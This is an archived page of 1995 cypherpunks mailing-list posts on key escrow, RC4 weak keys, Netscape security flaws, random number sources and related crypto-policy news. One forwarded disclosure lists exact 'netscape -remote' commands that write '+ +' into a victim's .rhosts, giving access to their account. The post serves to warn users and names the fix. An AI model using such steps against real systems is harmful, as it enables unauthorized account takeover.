December 2003 - cypherpunks-legacy

Re: Netscpae & Fortezza (Or, say it Ain't so, Jeff?)
by Bill Stewart 17 Dec '03

17 Dec '03

>I for one am against any kind of GAK on moral grounds. I also think >that trying to implement mandatory GAK in a software only system >would be a nightmare. Unfortunately, it's quite simple, if your only intent is to get the keys, and not to use it as a way to increase NSA leverage... Carl Ellison's web page points out the simple version of this, and it's easy to extend to make it more reliable. 1) Have the NSA/NIST/DEA/etc. generate public keys for their GAK agents. 2) Have each session-key-transfer encrypt a copy of the session key with the public key of the GAK agent, and send it at the beginning of the connection. 3) To make it more robust, have the recipient of the session key also encrypt the session key with the GAK key and send it back, so that a conformist receiver can rat the key even if the sender didn't. (takes a little protocol support to make sure the sender doesn't mind getting it echoed back to her.) Unlike Steven Walker's fancy complex method (which Dorothy liked a lot), this is simple and straightforward, and requires no validation by the recipient. (Both parties could send fakes, but they could do that anyway.) What it doesn't do is allow third parties to detect whether the GAK field has the real session key in it or a fake, but c'est la guerre. You can even get fancier and support M-of-N splitting, requiring M of N GAK agents to give out their keyparts; just do the split and encrypt each piece with the corresponding GAK agent's public key. This also works in a wide variety of environments (e.g. Diffie-Hellman). You could also scrounge a few bits by using the GAK field as an IV if you need one. #--- # Bill Stewart, Freelance Information Architect, stewarts(a)ix.netcom.com # Phone +1-510-247-0664 Pager/Voicemail 1-408-787-1281 #---

2 1

Cypherpunks Fax Service
by sameer 17 Dec '03

17 Dec '03

I see a potential business opportunity for enterprising cypherpunks: People have been posting things saying "we should have press releases". People have been posting useful information regarding fax numbers of reporters around the country and such. In this I see a potential low-maintenance business opportunity for some enterprising cypherpunk with a high-grade fax machine. There is no way anyone can make a 'Cypherpunk press release' because there is no "Cypherpunk Organization". There -are- however, cypherpunks organizations. Community ConneXion is one, for example, and others such as COMSEC partners may be considered cypherpunk organizations. Some enterprising cypherpunk may wish to sell the services of their fax machine so that cypherpunk organizations don't need to invest the time towards building up a good database of press fax numbers. For some fee a cypherpunk organization would send only to the service a press release, and the service would make sure it reaches all the people in the press who find cypherpunk topics interesting. Hell, if no one sets this up before I get my own mass-faxer setup, I might just do it myself. -- sameer Voice: 510-601-9777 Community ConneXion FAX: 510-601-9734 An Internet Privacy Provider Dialin: 510-658-6376 http://www.c2.org (or login as "guest") sameer(a)c2.org

1 0

COMMUNITY CONNEXION TO OFFER REWARD FOR HACKING MICROSOFT
by sameer 17 Dec '03

17 Dec '03

For Immediate Release Contact: Sameer Parekh 510-601-9777 (Pager: 510-321-1014) COMMUNITY CONNEXION TO OFFER REWARD FOR HACKING MICROSOFT Sept. 29 1995 - Community ConneXion, an Internet Privacy Provider in Berkeley, CA, announced today that it will be providing awards to people who find and publicize security holes in Microsoft products. "Microsoft claims to be promoting secure transactions on the net," said Sameer Parekh, founder of Community ConneXion, "We will prove them wrong." Microsoft has been quoted making disparaging comments about their competitor Netscape's product, Netscape Navigator. Community ConneXion has also been offering a reward to expose holes in Netscape's products. "We target widely used programs," said Parekh. Parekh expects that many bugs and flaws in Microsoft's security software will be found. People want to use the Internet to do business. They want to be able to buy things, manage their finances, and communicate privately from the comfort of their home computer. Without a secure infrastructure none of this is possible. Information about the Hack Microsoft promotion is available from http://www.c2.org/hackmsoft/. People who have found security holes and have written exploits are directed to send mail to hackmsoft(a)c2.org. Community ConneXion is the premier provider of privacy on the Internet. They provide anonymous email accounts and support the anonymous remailer infrastructure. Information is available from http://www.c2.org/ or info(a)c2.org. Microsoft is a trademark of Microsoft Corp. Netscape and Netscape Navigator are trademarks of Netscape Communications Corp. This promotion is not affiliated with Microsoft or Netscape.

1 0

Cryptanalysis of RC4 - Preliminary Results (Repeat)
by Andrew Roos 17 Dec '03

17 Dec '03

(This is a repeat because I posted the original 36 hours ago and it still hasn't bounced back to me.) -----BEGIN PGP SIGNED MESSAGE----- Hi c'punks & sci.cryptites About a week ago I posted a message about weak keys in RC4. This is an update on the results of my continued 4am sessions with RC4 and shows that certain weak keys lead to an almost-feasible known plaintext attack on the cipher (well, about as feasible as the differential attack on DES, shall we say). The attack is based on two particularly interesting three-byte key prefixes which have a high probability of producing PRNG sequences which start with a known two-byte sequence. The prefixes are: 1. Keys starting with "00 00 FD" which have a 14% probability of generating sequences which start "00 00". 2. Keys starting with "03 FD FC" which have a 5% probability of generating sequences which start "FF 03". Note that the expected frequency of any two-byte output sequence is 1 in 65536 or about 0.0015%, so these key prefixes are highly unusual. I won't go into the reasons why in this post, since it follows the same reasoning as my last post, but these prefixes are special in that they have a high probability of initializing the RC4 state table in such a way that the first two generated bytes depend only on the first three entries in the state table. This observation is the basis for a simple known-plaintext attack which reduces the effective key space which you need to search to have a 50% probability of discovering a key by about 11.2 bits. The down side is that you need "quite a few" known plaintexts to make the attack feasible. It works as follows: 1. Collect a large number of known plaintexts (and hence known generator sequences). 2. Discard generator sequences which do not start with "00 00" or "FF 03". 3. For generator streams starting "00 00", search all keys which begin with "00 00 FD". 4. For generator streams staring "FF 03", search all keys which begin with "03 FD FC". 5. Keep going until you find a key :-) Clearly this attack will only discover a small fraction of the keys. However since most generator sequences are discarded without being searched, and for those which are searched the search is 2^24 smaller than would be required to search the entire keyspace, the number of trials required to determine a key is significantly lower than for brute force alone. Enough of an intro, here are the relevant results. Forgive my simplistic approach to maths, I'm a philosopher-come-software developer, not a mathematician. I've run the relevant simulations with 40-bit, 64-bit, 80-bit and 128-bit key lengths, and with two different PRNGs. For the sake of consistency with my earlier paper I'll use the figures gathered for 80-bit keys (this seems to be RSA's preferred key length for RC4), but there are no significant differences for other key lengths. The PRNG used for these tests was L'Ecuyer's 32-bit combined linear congruential generator as described in "Applied Cryptography" p. 349. (a) Out of one million trials, keys starting with "00 00 FD" generated sequences starting "00 00" 138217 times, and keys starting with "03 FD FC" generated output sequences starting "FF 03" 50490 times. (b) Out of ten million trials, arbitrary pseudo-random keys generated sequences starting with "00 00" 446 times, and sequences starting with "FF 03" 146 times. (Note the abnormally high incidence of "00 00"; the expected mean is 152.8). Suppose we have the output stream generated by a randomly chosen key. The chance that it will start with either "00 00" or "FF 03", and that we will therefore search it, is: (446 + 146) / 1e7 = 5.92e-5 The chance that it starts with "00 00" and was generated by a key starting with "00 00 FD", or that it starts with "FF 03" and was generated by a key starting "03 FD FC" - i.e. the chance that we will search it and be rewarded for our efforts - is: (138217 + 50490)/(1e6 * 2^24) = 1.12e-8 The total number of plaintexts required for a 50% chance that we will discover one of the keys is: log(0.5)/log(1 - 1.12e-8) = 61 900 000 Well I did say "quite a few" plaintexts would be necessary :-) And the number of plaintexts which you expect to search in order to find the "right" one is: 61 900 000 * 5.92e-5 = 3665 Since the total key length is 80 bits, and we are "guessing" 24 of these, each search requires 2^56 trials. Hence the total number of trials for a 50% chance of discovering a key is: 3665 * 2^56 = 2.64e20 = 2 ^ 67.8 Since brute search alone would require 2^79 trials for a 50% chance of determining the key, this reduces the number of trials by 2^11.2. The results are essentially identical for all the key lengths I have tried, and in each case reduce effective key length by about 11.2 bits. So, for example, a 64-bit key would normally require 2^63 trials for 50% chance of solution; this attack reduces the number of trials to 2^51.8 at the cost of requiring 62 million known plaintexts. I'm still running simulations to check my maths, and although initial results are encouraging, I don't have enough data for it to be statistically relevant yet (generating all these sets of 62 million known streams takes time...) So consider this preliminary (again), and I'll post the results of my simulations when I have enough data. Andrew ________________________________________________________________ Andrew Roos <andrewr(a)vironix.co.za> // C++ programmers have class (but not much inheritance) PGP Fingerprint: F6 D4 04 6E 4E 16 80 59 3A F2 27 94 8B 9F 40 26 Full key at ftp://ftp.vironix.co.za/PGP-keys/AndrewRoos -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMGrlfmatuqa4OR+lAQF1eQP+IBBmSztAYUpq1q/BjzvYDCbb+Ns0Gi1S u9wTaZOCl32fdp7NSUEQBX39nVJkQZginug56BZXzijRvOx6fl4+z7dmW9jwtE5E YNCOhx+/fHX4psszMyEUTrnza7MYDc4HXlgv743LOD/xvEyU0D5OGgB5fg+lyhAK 6xQ/Zy8JpE8= =BdMn -----END PGP SIGNATURE-----

1 0

screensavers and idle computation.
by nefud＠io.com 17 Dec '03

17 Dec '03

To the folx working on the RC4 et. al. distributed keysearch Net: Add a module that will be run from things like "xscreensaver". As Tim May pointed out, current use of crypto is a "tiny fraction of the total computons consumed running screen savers". So let use them, eh? Besides, it'd be kind of neat seeing the "galaxies in hyperspace" displayed in a fractal like screensaver image. -- Allan Bailey | "Freedom is not free." _O_ Senlima Diverseco je Senlimaj Kombinajxoj.| nefud(a)io.com | KC5KSF | GCS w+ v-/+ C++++ U@$ P+++ L++ E++ N++ po--- Y++ b++ ============================================================ = When Privacy Is Outlawed, Only Outlaws Will Have Privacy = = I Support the Phil Zimmermann Legal Defense Fund! = = email: zldf(a)clark.net http://www.netresponse.com/zldf = ============================================================

1 0

FinCen Blurb in local paper
by Kevin L Prigge 17 Dec '03

17 Dec '03

Found this in the St Paul Pioneer Press yesterday, no wire service attribution. Cyber banking risks cited New York Smart Cards, on-line banking and other high-tech consumer payment services could be exploited by money launderers and other crooks, a Treasury Department official warned Wednesday. Stanley Morris, director of the Financial Crimes Enforcement Network, said that government and regulatory agencies believe the new systems, known as cyber banking, will profoundly alter financial services in the future. "The government has got to get its act together" and quickly decide on whether on-line banking systems and smart cards require new regulations," Morris said. Morris spoke to reporters after a day-long closed-door meeting of bankers, regulators, law enforcement officials and technology executives sponsored by FinCen, the governments anti-money laundering agency. --- end article --- -- Kevin Prigge | Holes in whats left of my reason, CIS Consultant | holes in the knees of my blues, Computer & Information Services | odds against me been increasin' email: klp(a)cis.umn.edu | but I'll pull through...

1 0

Assessing Netscape Commerce Server Risk
by millar＠pobox.upenn.edu 17 Dec '03

17 Dec '03

Would anyone care to critique this assessment? >Q: What is the risk of implementing the Commerce Server without waiting for >the Oct. 9 patch (which fixes the randomness problem with the server's >public/private key pair)? >A: The exposure is essentially this: if someone were to make a concerted >attack on your public/private key pair, they might be able to discover your >private key. Combined with net eavesdropping this would allow interception >and decrypting of SSL-encrypted traffic to your Commerce Server, and >combined with IP address and DNS domain impersonation would allow someone >to masquerade as your server. > >I would characterize this risk as low to moderate, with the higher risk >only applying if your Commerce Server is handling larger financial >transactions or extremely sensitive information. > >The time required for an attack on your key pair depends on how close the >attacker can come to guessing exactly when your key pair was generated, and >what the pid/ppid were for the key generation program at the time the key >was generated, as well as how fast the attacker can generate candidate key >pairs. Since the time and pid/ppid are probably guessable only within >broad limits (e.g., within a few days for the time), and generating key >pairs takes on the order of a second or so, the estimated attack times are >much longer than the attack times for SSL messages. I believe Netscape has >published estimates like 60 days or so to crack a key pair; even if those >estimates are too high by factors of two or three the times are still >comparable to the time until the patch is available. > >So if you're really concerned you can certainly eliminate the risk by >shutting down SSL-secure services until you get the patch; however I'd >weigh that against the downside of not having those services accessible. > >P.S. If you do continue running your Commerce Server with SSL, one simple >thing that might help thwart attacks is to do a "touch" on your server key >file and server certificate file (or copy them somewhere and then copy them >back) to update the date/time modified on the files. This eliminates one >possible clue as to when the key pair was generated. _________________________________________________ Dave Millar University Information Security Officer 3401 Walnut St., Suite 265C Philadelphia, PA 19104-6228 University of Pennsylvania For security matters: security(a)isc.upenn.edu (read by Data Admin. staff) Other matters: millar(a)pobox.upenn.edu voice: (215) 898-2172 fax: (215) 898-1729 For PGP 2.6 Public key: http://www.upenn.edu/security-privacy/ PGP Fingerprint: 28 FB 09 DC C7 96 C2 53 1A B8 BE 3B 73 32 46 4C

1 0

Netscape hole without .Xauthority (fwd)
by Jyri Kaljundi 17 Dec '03

17 Dec '03

Haven't seen this on the cypherpunks yet, sorry if this has been here already. Juri <o Jüri Kaljundi e-mail: jk(a)digit.ee o< >o tel: +372 6308994 o> <o DigiTurg http://www.digit.ee/ o< ---------- Forwarded message ---------- There's a huge hole in the Netscape remote control mechanism for the X-Windows based clients. Potential impact : anybody can become any user that uses Netscape on any system without sufficient X security. Let's suppose that you have an account on a target machine, where somebody is using Netscape, and either the xhost checking is disabled, or you can set the xhost yourself (e.g. if you have an account and the target user has no .Xauthority, as is frequent in university computer rooms). Then you can gain access to the target user's account using the following steps : - make a text file containing only "+ +" accessible (as file, as URL, or whatever you like) to the target Netscape client. This is quite easy, either if you have a personal WWW page (http://... URL) or an account on the target machine (file://... URL), or even by uploading it to an anon FTP - set your DISPLAY environment variable to the target display - run the following set of commands : netscape -noraise -remote "openURL(<put-your-URL-here>)" netscape -noraise -remote "saveAs(.rhosts)" netscape -noraise -remote back In the second command, the path should be specified whenever possible (~ is not accepted). If the target user does not already have a .rhosts and is not looking at that precise moment, then the chances are it worked ! Solution to the problem : every user concerned should either create a Xauthority file, or stop using Netscape. MXK PS: WHY do they bother with PGP and RSA security when they keep such holes ???? +------------------------------------+---------------------------------+ | Denis AUROUX (MXK) | Ecole Normale Superieure | | 255 rue Saint-Jacques | 45 rue d'Ulm | | 75005 PARIS FRANCE | 75005 PARIS | | email: auroux(a)clipper.ens.fr | FRANCE | +------------------------------------+---------------------------------+ | This .sig is SHAREWARE. If you use it often, please send me $50. | | After registering you will receive a fully functional .sig and all | | updates for free. | +----------------------------------------------------------------------+

7 6

Re: netscape NSRANDFILE compatible with /dev/random ?
by Carl Ellison 17 Dec '03

17 Dec '03

>From: "Jeff Weinstein" <jsw(a)netscape.com> >Date: Wed, 27 Sep 1995 00:40:41 -0700 >> What happens if NSRANDFILE is set to /dev/random ? >> will netscape try to read an infinite number of random bytes ? > > In the current patch it will read up to 1 megabyte before stopping. >In 2.0 I will add a way to specify a size. As a temporary hack you >could use 'dd' to get the number of bytes you want into a file, then >remove the file once netscape had started up. or you can define a named pipe file (on UNIX at least) which runs /dev/random through dd.

1 0

Re: Simple Hardware RNG Idea
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 4:14 PM 9/28/95, cjs wrote: >Hello all. > >Someone mentioned this on IRC last night, and it sounded like a really >cool idea, so I thought I'd mention it. > >The idea is to generate random numbers using a geiger counter tube and >a small portion of radioactive substance (like perhaps the stuff they >use in smoke detectors?) Would that be random enough? > >I thought it was a neat idea anyway. It's a well-known idea. My FAQ has a section on this, and the Cypherpunks archives have many mentions of this. For the newcomers, here are some of the issues, very briefly presented: 1. Incorporating a "Geiger counter tube" is nontrivial. A solid-state detector does the same thing, and is a better approach. 2. Incorporating Am-241 or other alpha emitters in microcurie levels would require licensing, regulatory oversight, etc., etc. Don't count on it. 3. Data rates are fairly low. Anything that "clicks" at high rates (> 1K counts per second) would be too radioactive to ship. 4. Zener diodes and other random noise sources are cheaper to build, more consistent in output, and easier to integrate into actual products. --Tim May ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^756839 | black markets, collapse of governments. "National borders are just speed bumps on the information superhighway."

3 2